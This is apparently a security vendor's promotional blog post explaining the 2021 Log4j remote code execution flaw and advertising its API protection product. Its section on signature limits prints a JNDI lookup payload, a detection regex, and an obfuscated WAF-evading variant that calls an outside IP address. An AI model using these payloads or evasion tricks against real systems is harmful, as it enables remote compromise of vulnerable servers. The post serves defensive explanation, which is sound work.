L7 Defense’s Ammune™

Protects Against Log4J Vulnerability-Based Attacks

Insecure implementation of API can risk your data

Apache Log4j CVE Vulnerability Exploit Fix Explained With Example Code

December 13, 2021 09:50 am

Log4J Vulnerability Explained

On December 9, 2021, a remote code execution (RCE) vulnerability in Apache log4j 2 was identified as being exploited in the wild. The first attacks seemed only to target Apache web servers, but following investigations showed that hundreds of high-profile products and open-source modules were also vulnerable, as the log4j module is not limited to webserver only but is virtually everywhere (For example, organizations might log failed login attempts with log4j, allowing to send the exploitation payload via a username field).
Organizations that use log4j for custom logging their applications or security events, now face countless organization-specific exploitation vectors. Exploitation is very easy, allowing attackers to get full control of the attacked system with just one request.
Thus far, massive scanning activity for CVE-2021-44228 (i.e., log4j vulnerability) has begun. Similar to the COVID pandemic, it didn't take long before dangerous evading variants appeared that bypassed initial signature-based protection. The current situation is a continuous race against time for defenses to block new variants before significant damage is done.
As with other high-profile CVEs, we expect a surge of high-profile stealthy targeted attacks within several days. Experience shows that it takes no more than several hours to morph attacking payload in a way that will bypass WAF signatures. Additionally, we expect weaponization of the vulnerability for lateral movement.

Best practices to protect your web and API assets from near-future coming log4J attack variants

It is critical for organizations to quickly identify, review, and patch modules and products that are vulnerable to a new type of attack. The latest case of log4j illustrates this. As attackers won't wait for patches, we present here the best practices for such cases.

Monitoring solutions

Such as IPS should be use to report on the existence of the threat while directing the patching process.

Signature-based patching

Should only be used during the first few days, since attackers will quickly move to weaponize the vulnerability for targeted attacks against organizations.

Active API protection solution

Should be deployed since it identifies and protects from attacks via API traffic and will be a critical component of the overall security architecture.

Expand your API monitoring to include internal APIs.

  • Due to work-from-home practices, unnoticed APIs might still be exposed to the internet.
  • The log4j vulnerability is going to be used for lateral movement. As EDR, XDR, and infrastructure protection solutions are virtually blind to the API traffic (especially TLS encrypted API traffic) API security is needed, also for the internal network.

Steps 2-4 could be conducted by Ammune™, as the leader in the API security category.

Please refer to figures 1 and 2 for examples of Ammune™ in action.

Figure 1 - Example of Ammune™ active protection architecture for AWS cloud

ammune Figure 1

Figure 2 - Example of Ammune™ active protection architecture for on-premise environment

ammune Figure 2

Ammune™ protection from injection threats (such as Log4J) is done via a complex AI/ML mechanism that correlates AI/ML-based components, presenting positive and negative models, as schematically described here:

  • AI/ML detection mechanism that finds anomaly signs at API endpoint argument level (positive security model).
  • NLP mechanism identifies attack vector signs according to its syntax, a process that follows extensive DPI and dynamic parsing steps (negative security model).
  • Correlating these (as well as others) analysis results, enables Ammune™ to verify threats and early signs of evasion tactics and block these on the spot in the most accurate way (leaving FPs out of the game…)

Limitations of signature-based solutions

1.Simple Log4J payload will be blocked with a simple signature.
Payload example: ${jndi:ldap://example.com/a}
Signature example: \$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+
2.As the next step, attackers will use advanced evasion techniques such as:
  • Using standard evading techniques such as URL encoding, char escaping, replacing chars with their Unicode equivalent, etc.
  • Obscuring key string with Log4j operators.
    Example: Breaking the original payload into substrings, each replaced by a lower operator
    ${lower::}, thus breaking up expected patterns and bypassing pattern matching.
    Evading attempts are therefore already on their way.
Payload example manipulated with WAF evading techniques:
${${lower::j}${::n}d${lower::i}:${lower::l}${lower::d}${lower::a}${lower::p}://43.32.11[.]84/test}
Signature-based solutions must identify and renew signatures, as an exhaustive cat & mouse game, in which the attackers is always ahead.
3.Legacy solutions have many known blind spots in their processing engine.
Some will not process request body information after the first 10Kb. Other solutions have less obvious blind spots, such as poor coverage of nested structures, JWT claims, XML attributes, etc.
These limitations become critical when battling targeted attacks. Targeted attack will not stop at the obvious injections attempts via Http headers. They will look for additional arguments that are likely to be logged at some point and try to attack there.

Not less important,

Ammune™ core doesn't use Log4J or any other java module!

Combine the power of AI
into your business

Contact us today to learn more

l7 defense ammune